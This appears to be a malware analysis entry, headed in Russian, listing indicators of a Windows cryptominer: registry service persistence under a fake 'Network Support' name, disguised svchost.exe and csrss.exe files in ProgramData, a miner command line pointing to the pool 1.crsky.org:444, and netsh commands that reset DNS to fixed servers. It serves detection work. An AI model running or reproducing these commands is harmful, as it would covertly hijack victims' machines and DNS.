Техническая информация
- [<HKLM>\SYSTEM\ControlSet001\Services\Network Support] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\Network Support] 'ImagePath' = 'C:\ProgramData\logs\svchost.exe'
- %TEMP%\$inst\2.tmp
- %TEMP%\$inst\temp_0.tmp
- C:\ProgramData\logs\svchost.exe
- C:\ProgramData\logs\csrss.exe
- C:\ProgramData\logs\go.bat
- %TEMP%\$inst\temp_0.tmp
- %TEMP%\$inst\2.tmp
- '1.##sky.org':444
- DNS ASK 1.##sky.org
- 'C:\ProgramData\logs\svchost.exe' install "Network Support" C:\ProgramData\logs\csrss.exe -o 1.crsky.org:444 -u 1 -p x -k --variant=-1 --nicehash --max-cpu-usage=50
- 'C:\ProgramData\logs\svchost.exe' start "Network Support"
- 'C:\ProgramData\logs\svchost.exe'
- 'C:\ProgramData\logs\csrss.exe' -o 1.crsky.org:444 -u 1 -p x -k --variant=-1 --nicehash --max-cpu-usage=50
- '<SYSTEM32>\cmd.exe' /c ""C:\ProgramData\logs\go.bat" "
- '<SYSTEM32>\sc.exe' description "Network Support" "╢╘═°┬ч╖├╬╩▒г╗д╕ц╠с╣й╓з│╓бг"
- '<SYSTEM32>\netsh.exe' interface ip set dns "▒╛╡╪┴м╜╙" static 67.229.152.10
- '<SYSTEM32>\netsh.exe' interface ip add dns "▒╛╡╪┴м╜╙" 67.229.152.11